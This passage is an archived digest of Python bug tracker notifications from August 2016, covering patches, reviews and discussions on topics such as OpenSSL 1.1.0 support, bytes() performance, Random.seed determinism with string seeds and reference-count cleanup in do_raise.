_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 13:20:38 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 07 Aug 2016 17:20:38 +0000 Subject: [issue27664] Allow specifying prefix for thread name in concurrent.futures.ThreadPoolExecutor In-Reply-To: <1470074596.72.0.973598099873.issue27664@psf.upfronthosting.co.za> Message-ID: <1470590438.65.0.607622537093.issue27664@psf.upfronthosting.co.za> Gregory P. Smith added the comment: cleaned up a bit with documentation added and submitted. thanks. ThreadPoolExecutor threads now have a default name as well, because why not. ---------- resolution: -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 13:54:51 2016 From: report at bugs.python.org (Christian Heimes) Date: Sun, 07 Aug 2016 17:54:51 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1470592491.52.0.28486218121.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Removed file: http://bugs.python.org/file42526/0001-Port-Python-s-SSL-module-to-OpenSSL-1.1.0-WIP.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 13:55:15 2016 From: report at bugs.python.org (Christian Heimes) Date: Sun, 07 Aug 2016 17:55:15 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1470592515.55.0.19747545453.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: http://bugs.python.org/file44037/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 13:55:29 2016 From: report at bugs.python.org (Christian Heimes) Date: Sun, 07 Aug 2016 17:55:29 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1470592529.75.0.862419637007.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: http://bugs.python.org/file44038/Port-Python-s-SSL-module-to-OpenSSL-1.1.0.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 14:15:35 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 18:15:35 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1470593735.42.0.1402829225.issue26470@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi Christian, I have reviewed your patch, seems to be fine for me. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 14:32:16 2016 From: report at bugs.python.org (Jim Fulton) Date: Sun, 07 Aug 2016 18:32:16 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470594736.72.0.232127359657.issue27392@psf.upfronthosting.co.za> Jim Fulton added the comment: FTR another use case for this. :) We have a ZEO applications where individual database users authenticate via self-signed certs. The server's SSL connection has to have this collection of certs. User CRUD operations can add and remove certs to authenticate against. SSL contexts don't provide an API for removing (or even clearing) CAs used for authentication, so we need to create new SSL contexts when the set of valid certs change. There's no way to update the SSL context used by a server, so we're wrapping accepted sockets ourselves, so we can use dynamic SSL contexts. Some alternatives: - Add an SSLContext API for removing or clearing CAs - Add a Server API to update the SSL context used for new connections. (I may pursue this at some point. I spent a few minutes trying to find where a Server's SSL context is stored, but failed and can't spend more time ATM.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 15:22:27 2016 From: report at bugs.python.org (INADA Naoki) Date: Sun, 07 Aug 2016 19:22:27 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray Message-ID: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> New submission from INADA Naoki: When bytes(x), bytes_new checks if x is integer via PyNumber_AsSize_t(x). It cause TypeError internally. When x is not an integer, especially bytearray or memoryview, the internal exception cause significant overhead. # HEAD $ ./python -m timeit -s 'data=bytearray(b"xyz")' 'bytes(data)' 1000000 loops, best of 3: 0.696 usec per loop $ ./python -m timeit -s 'data=bytearray(b"xyz")' 'bytes(data)' 1000000 loops, best of 3: 0.699 usec per loop $ ./python -m timeit -s 'data=bytearray(b"xyz")' 'bytes(data)' 1000000 loops, best of 3: 0.701 usec per loop # this patch $ ./python -m timeit -s 'data=bytearray(b"xyz")' 'bytes(data)' 1000000 loops, best of 3: 0.265 usec per loop $ ./python -m timeit -s 'data=bytearray(b"xyz")' 'bytes(data)' 1000000 loops, best of 3: 0.265 usec per loop $ ./python -m timeit -s 'data=bytearray(b"xyz")' 'bytes(data)' 1000000 loops, best of 3: 0.267 usec per loop ---------- components: Interpreter Core files: fast-bytearray-fromobject.patch keywords: patch messages: 272130 nosy: methane priority: normal severity: normal status: open title: bytes(x) is slow when x is bytearray type: performance versions: Python 3.6 Added file: http://bugs.python.org/file44039/fast-bytearray-fromobject.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 16:02:49 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Sun, 07 Aug 2016 20:02:49 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <1470600169.65.0.0245837064123.issue27704@psf.upfronthosting.co.za> St?phane Wirtel added the comment: the patch seems to be fine. ---------- nosy: +haypo, matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 17:02:29 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 07 Aug 2016 21:02:29 +0000 Subject: [issue27705] Updating old C:/Windows/System32/ucrtbased.dll Message-ID: <1470603749.52.0.375133152623.issue27705@psf.upfronthosting.co.za> New submission from Terry J. Reedy: This is a continuation of msg269741 from #26624, summarizing how to resolve this message. C:\WINDOWS\SYSTEM32\ucrtbased.dll is version 10.0.10240.16384 WARN: ucrtbased contains known issues. Please update Visual Studio or the Windows SDK. See: http://bugs.python.org/issue26624 F:\Python\dev\36\PCbuild\python.vcxproj(91,5): warning MSB3073: The command ""F:\Python\dev\36\PCBuild\win32\python_d.exe" "F:\Python\dev\36\PC\validate_ucrtbase.py" ucrtbased" exited with code 1. Merely updating Visual Studio is not enough. One must update the Windows SDK either directly or while updating Visual Studio by making sure that the new SDK is requested under Features. [X] Windows and Web Development [X] Universal Windows App Development Tools [X] Tools (1.4.1) and Windows 10 SDK (10.0.14393) (Versions and even the menu may change in the future.) The best way to update Visual Studio is probably to uninstall it first via Control Panel / Programs and Features / Microsoft Visual Studio Community 2015 (or whichever version you have). I did not. After downloading the current installer vs_community__9c4d694197656e43997d069a0ead2003.exe I just ran without uninstalling. It automatically installs in the current vs2015 directory, Instead of a clean install, it updated and ended with the same 'bad hash' message as reported in msg269741. I then went to Programs and Features and chose 'Repair'. The first time it failed because it did not like the existing Microsoft Visual C++ 2015 Redistributable (x86 or x64) files being present. With those removed, and the SDK feature checked, Repair worked and Python builds without the warning. The current SDK is not listed as 'Microsoft Windows SDK...' but as Windows Software Development Kit - Windows 10.0.14393 Steve: my suggestion is that "Please update Visual Studio or the Windows SDK." be changed to "Please update the Windows SDK, possibly by updating Visual Studio with the Windows SDK feature selected." Also change the issue number from 26624 to whatever this one gets. ---------- assignee: docs at python components: Build, Documentation, Windows messages: 272132 nosy: docs at python, paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Updating old C:/Windows/System32/ucrtbased.dll type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 17:03:51 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 07 Aug 2016 21:03:51 +0000 Subject: [issue26624] Windows hangs in call to CRT setlocale() In-Reply-To: <1458747871.12.0.710719467032.issue26624@psf.upfronthosting.co.za> Message-ID: <1470603831.28.0.581898624624.issue26624@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I updated ucrtbased.dll and resolved the warning as described in #27705. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 18:28:31 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 07 Aug 2016 22:28:31 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> Message-ID: <1470608911.5.0.706789656962.issue27703@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Have you checked all the possibly code paths to be sure? "Seems to be unnecessary" is insufficient reason for undoing Guido's code that has stood since 1997. Looking at the snarl of possible code paths, I not finding it obvious why some of the paths require Py_XDECREF and others don't. Even if you are sure, then the patch needs to include assertions at key checkpoints (i.e. after a given assignment to "type" or "value" can we reliably assert the value is non-null) and/or comments showing what the reasoning is. Otherwise, even if the patch happens to be correct, it increases the risk that future maintenance will introduce a bug when the current code would have allowed the maintenance in a safer context. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 18:32:26 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 07 Aug 2016 22:32:26 +0000 Subject: [issue27350] Compact and ordered dict In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> Message-ID: <1470609146.38.0.885910479914.issue27350@psf.upfronthosting.co.za> Raymond Hettinger added the comment: You make need to ask for review help on python-dev. Patches this big take a lot of time and energy to review. Making pings into the blind doesn't help much (most of the patch reviewers are highly time constrained). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 19:14:22 2016 From: report at bugs.python.org (Sworddragon) Date: Sun, 07 Aug 2016 23:14:22 +0000 Subject: [issue23105] os.O_SHLOCK and os.O_EXLOCK are not available on Linux In-Reply-To: <1419345535.42.0.312768269587.issue23105@psf.upfronthosting.co.za> Message-ID: <1470611662.17.0.591025829349.issue23105@psf.upfronthosting.co.za> Sworddragon added the comment: Maybe it sounded a bit confusing but this text was not to be meant as a direct match against the documentation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 20:15:15 2016 From: report at bugs.python.org (Glyph Lefkowitz) Date: Mon, 08 Aug 2016 00:15:15 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization Message-ID: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> New submission from Glyph Lefkowitz: The purpose of 'seeding' a random number generator is usually to supply a deterministic sequence of values starting from a known point. This works fine if you seed random.Random with an integer. Often (for example, see Minecraft's map generation interface) one wants to begin with a human-memorable string as the seed, and superficially it would seem that passing a string to Random.seed would serve exactly this use-case. In fact in its original incarnation it did. However, since the introduction of PYTHONHASHSEED in 2.6.8, it's possible that strings now hash to different values, and on 3.2+, they'll _always_ hash to different values unless otherwise configured (which, as per the reason for introducing this feature in the first place, is a security flaw). Right now the way to work around this is to get some deterministic hash from your string; one mechanism being a truncated SHA256 hash, for example, like this: Random(struct.unpack("!I", sha256(seed.encode("utf-8")).digest()[:4])[0]) but this strikes me as an obscure trick to require of someone just trying to get their D&D character generator to produce the same values twice in a row for unit testing. I'm not sure what the resolution should be, but I figured I should report this since I tripped over it. ---------- components: Library (Lib) messages: 272137 nosy: glyph priority: normal severity: normal status: open title: Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 20:27:00 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 08 Aug 2016 00:27:00 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1470616020.18.0.192016663513.issue27706@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 20:50:22 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 08 Aug 2016 00:50:22 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470617422.27.0.351024309592.issue27128@psf.upfronthosting.co.za> STINNER Victor added the comment: Rebased patch. ---------- Added file: http://bugs.python.org/file44040/fastcall-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 20:53:31 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 08 Aug 2016 00:53:31 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470617611.27.0.859991775571.issue27128@psf.upfronthosting.co.za> Changes by STINNER Victor : Removed file: http://bugs.python.org/file44040/fastcall-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 20:56:18 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 08 Aug 2016 00:56:18 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470617778.72.0.390218321702.issue27128@psf.upfronthosting.co.za> Changes by STINNER Victor : Added file: http://bugs.python.org/file44041/fastcall-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 20:57:10 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 08 Aug 2016 00:57:10 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470617830.63.0.333157481339.issue27128@psf.upfronthosting.co.za> STINNER Victor added the comment: (Oops, I removed a broken fastcall-2.patch which didn't include new pystack.c/pystack.h files. It's now fixed in the new fastcall-2.patch.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 20:59:44 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 08 Aug 2016 00:59:44 +0000 Subject: [issue6422] timeit called from within Python should allow autoranging In-Reply-To: <1246806912.2.0.722769600334.issue6422@psf.upfronthosting.co.za> Message-ID: <1470617984.04.0.727878581696.issue6422@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Nick gave a +1 to my auto-range patch with callback on 2016-05-13, and there's been no negative feedback since. Should I go ahead and check it in for 3.6? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 21:37:51 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 08 Aug 2016 01:37:51 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1470620271.54.0.0785871002792.issue27706@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks for the bug report. This is a case of something that used to work fine but was affected by an incidental change elsewhere. To support the use case for deterministic sequences of values starting from a known point, the docs promise, "If a new seeding method is added, then a backward compatible seeder will be offered. The generator?s random() method will continue to produce the same sequence when the compatible seeder is given the same seed." (See https://docs.python.org/3/library/random.html#notes-on-reproducibility ) The resolution is to have the random module (line 327 in Modules/_randommodule.c) use a new _PyObject_Hash() function that deterministically matches what the old PyObject_Hash() function used to do. Marking this as "needs patch" and saving it for Nofar Schnider to work on (she's an aspiring core dev). ---------- stage: -> needs patch versions: +Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 22:52:42 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 08 Aug 2016 02:52:42 +0000 Subject: [issue6422] timeit called from within Python should allow autoranging In-Reply-To: <1246806912.2.0.722769600334.issue6422@psf.upfronthosting.co.za> Message-ID: <1470624762.48.0.309457758704.issue6422@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I think the patch is good to go. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Aug 7 23:05:07 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 08 Aug 2016 03:05:07 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> Message-ID: <1470625507.51.0.39850156958.issue27703@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for your reply Raymond. You always provide thoughtful feedbacks, though it makes me somewhat more nervous. ;) (I am nervous about making noise here and waste others' time.) > Have you checked all the possibly code paths to be sure? Yes. I did check all the code paths. I don't want to be a noise maker so I did check it carefully. > "Seems to be unnecessary" is insufficient reason for undoing Guido's code that has stood since 1997. I use the word "seems" because even if I think my opinion is right, I am only 99% sure. Just as you said, the code is legacy and changing it has to be careful. I can miss something and be wrong. But now I think I am right. > Looking at the snarl of possible code paths, I not finding it obvious why some of the paths require Py_XDECREF and others don't. When we reach the two Py_XDECREFs, can type and value be NULL? > then the patch needs to include assertions at key checkpoints (i.e. after a given assignment to "type" or "value" can we reliably assert the value is non-null) and/or comments showing what the reasoning is Sorry, I didn't realize that. This is definitely good practice I know. But this is not documented and not a must then so I didn't do that. But I'll remember this in later patches. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 00:47:09 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 08 Aug 2016 04:47:09 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> Message-ID: <1470631629.77.0.546143079228.issue27703@psf.upfronthosting.co.za> Changes by Xiang Zhang : Added file: http://bugs.python.org/file44042/do_raise_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 01:22:43 2016 From: report at bugs.python.org (INADA Naoki) Date: Mon, 08 Aug 2016 05:22:43 +0000 Subject: [issue27350] Compact and ordered dict In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> Message-ID: <1470633763.05.0.536012325481.issue27350@psf.upfronthosting.co.za> INADA Naoki added the comment: I see, and I'm sorry about that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:01:57 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 06:01:57 +0000 Subject: [issue12276] 3.x ignores sys.tracebacklimit=0 In-Reply-To: <1307436501.83.0.59684150491.issue12276@psf.upfronthosting.co.za> Message-ID: <1470636117.59.0.284384151092.issue12276@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:06:07 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 06:06:07 +0000 Subject: [issue23746] sysconfg.is_python_build() is buggy In-Reply-To: <1427101982.73.0.589713060591.issue23746@psf.upfronthosting.co.za> Message-ID: <1470636367.62.0.862135210733.issue23746@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:08:36 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 06:08:36 +0000 Subject: [issue24459] Mention PYTHONFAULTHANDLER in the man page In-Reply-To: <1434487895.85.0.561507121326.issue24459@psf.upfronthosting.co.za> Message-ID: <1470636516.31.0.213998403189.issue24459@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:20:08 2016 From: report at bugs.python.org (Antti Haapala) Date: Mon, 08 Aug 2016 06:20:08 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> Message-ID: <1470637208.88.0.08258913982.issue27703@psf.upfronthosting.co.za> Antti Haapala added the comment: Normally I wouldn't recommend changing working code. However those asserts would be OK; if either of them is NULL, then the previous if would have had undefined behaviour already. Thus the `XDECREF` wrongly signals that it'd be OK if they were NULLs until this point, which is not true. I'd rather see more asserts in the code; would be a big aid in possible refactoring; now for example `PyErr_SetObject` checks twice and thrice if either of the arguments is NULL; would be nice to go see the call site and see asserts in place there, showing that the arguments never were NULL to begin with. ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:28:10 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 06:28:10 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470637690.09.0.221329823461.issue6057@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi Jaysinh, I have reviewed your patch, but for me, this one should be have an order for the exception. * Warning * Error * DatabaseError * ProgrammingError * IntegrityError Thank you ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:28:22 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 06:28:22 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470637702.59.0.429402500827.issue6057@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:35:58 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 06:35:58 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470638158.67.0.161902692777.issue6057@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Here is the patch with my comments. ---------- Added file: http://bugs.python.org/file44043/issue6057-3.6.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 02:50:14 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 08 Aug 2016 06:50:14 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> Message-ID: <1470639014.43.0.376712641328.issue27703@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for the comment, Antti. > would be nice to go see the call site and see asserts in place there, showing that the arguments never were NULL to begin with. So is it still not enough getting the two asserts? IMHO I think the two asserts have already meet your expectations since the cause block is impossible to make type or value NULL. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 03:11:59 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 07:11:59 +0000 Subject: [issue1100942] Add datetime.time.strptime and datetime.date.strptime Message-ID: <1470640319.07.0.900902727954.issue1100942@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Here is an updated version (for 3.6) of the patch of maciej.szulik. I have executed all the tests. Please, could you review this patch. Thank you ---------- nosy: +matrixise versions: +Python 3.6 -Python 3.5 Added file: http://bugs.python.org/file44044/issue1100942-3.6.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 03:16:45 2016 From: report at bugs.python.org (Cory Benfield) Date: Mon, 08 Aug 2016 07:16:45 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1470640605.69.0.842956579151.issue27706@psf.upfronthosting.co.za> Changes by Cory Benfield : ---------- nosy: +Lukasa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 03:39:12 2016 From: report at bugs.python.org (Mark Lawrence) Date: Mon, 08 Aug 2016 07:39:12 +0000 Subject: [issue1100942] Add datetime.time.strptime and datetime.date.strptime Message-ID: <1470641952.73.0.45015116151.issue1100942@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 04:31:52 2016 From: report at bugs.python.org (Oren Milman) Date: Mon, 08 Aug 2016 08:31:52 +0000 Subject: [issue20842] pkgutil docs should reference glossary terms not PEP 302 In-Reply-To: <1393846400.67.0.723549613222.issue20842@psf.upfronthosting.co.za> Message-ID: <1470645112.91.0.961080879025.issue20842@psf.upfronthosting.co.za> Oren Milman added the comment: ImpImporter was first added in changeset 37808 (https://hg.python.org/cpython/rev/ccc0b5412799) and updated a day later in changeset 37821 (https://hg.python.org/cpython/rev/3135648026c4). Both of these commits were introduced to support PEP 302. Since then, ImpImporter remained quite the same, and was never changed to suit later relevant PEPs (e.g. PEP 420 and PEP 451). Thus, IMHO, we should go with your second option, Martin, and retain the PEP 302 reference in ImpImporter documentation. With regard to the accuracy of Python's 'finder' glossary entry, it was updated recently, in changeset 99434 (https://hg.python.org/cpython/rev/88cee7d16ccb), to suit PEP 302, PEP 420 and PEP 451, so ISTM there is no need to adjust it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 04:49:01 2016 From: report at bugs.python.org (Robin) Date: Mon, 08 Aug 2016 08:49:01 +0000 Subject: [issue27707] List reports incorrect length if modifed after yield Message-ID: <1470646141.92.0.720392766058.issue27707@psf.upfronthosting.co.za> New submission from Robin: reproduction script below. In the last print statement, it shows me a list with items in it, but with a length of 0 def generator(): l = [] yield l l.append(1) # this correctly prints 1 print(len(l)) # this should print [([1], 1)], but actually gives [([1], 0)] print([(l, len(l)) for l in generator()]) ---------- components: Interpreter Core messages: 272151 nosy: robinh priority: normal severity: normal status: open title: List reports incorrect length if modifed after yield type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 05:02:10 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 09:02:10 +0000 Subject: [issue27707] List reports incorrect length if modifed after yield In-Reply-To: <1470646141.92.0.720392766058.issue27707@psf.upfronthosting.co.za> Message-ID: <1470646930.6.0.384999349147.issue27707@psf.upfronthosting.co.za> St?phane Wirtel added the comment: when you yield, the list is empty, in this case, the length of your list is just 0 and not 1. ---------- nosy: +matrixise status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 05:02:52 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 08 Aug 2016 09:02:52 +0000 Subject: [issue27707] List reports incorrect length if modifed after yield In-Reply-To: <1470646141.92.0.720392766058.issue27707@psf.upfronthosting.co.za> Message-ID: <1470646972.32.0.000193264565776.issue27707@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 05:05:26 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 08 Aug 2016 09:05:26 +0000 Subject: [issue27707] List reports incorrect length if modifed after yield In-Reply-To: <1470646141.92.0.720392766058.issue27707@psf.upfronthosting.co.za> Message-ID: <1470647126.48.0.194559434615.issue27707@psf.upfronthosting.co.za> SilentGhost added the comment: At the time the len function in list comprehension is called .append has not executed, the len call in list comprehension operates on object as it is, whereas the object itself is only referenced rather than copied. If you were to copy the yielded list, then a more expected behaviour of returning [([], 0)] would be demonstrated. ---------- nosy: +SilentGhost resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 05:42:41 2016 From: report at bugs.python.org (Ram Vallury) Date: Mon, 08 Aug 2016 09:42:41 +0000 Subject: [issue26209] TypeError in smtpd module with string arguments In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za> Message-ID: <1470649361.08.0.9681418577.issue26209@psf.upfronthosting.co.za> Ram Vallury added the comment: Updated the documentation of smtpd. https://docs.python.org/3/library/smtpd.html#smtpserver-objects * this is my first patch, please revert back to me or make learn if I do any mistake* ---------- keywords: +patch nosy: +rvallury Added file: http://bugs.python.org/file44045/smtpd_doc_updated.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 05:51:16 2016 From: report at bugs.python.org (JW) Date: Mon, 08 Aug 2016 09:51:16 +0000 Subject: [issue26945] difflib.HtmlDiff().make_file() treat few change as whole line change In-Reply-To: <1462357117.75.0.264226223626.issue26945@psf.upfronthosting.co.za> Message-ID: <1470649876.36.0.581825053586.issue26945@psf.upfronthosting.co.za> JW added the comment: please find attached the reproducer C.7z this issue only happens with this format of data before and after the difference ---------- Added file: http://bugs.python.org/file44046/C.7z _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 05:54:10 2016 From: report at bugs.python.org (immerse) Date: Mon, 08 Aug 2016 09:54:10 +0000 Subject: [issue23369] integer overflow in _json.encode_basestring_ascii In-Reply-To: 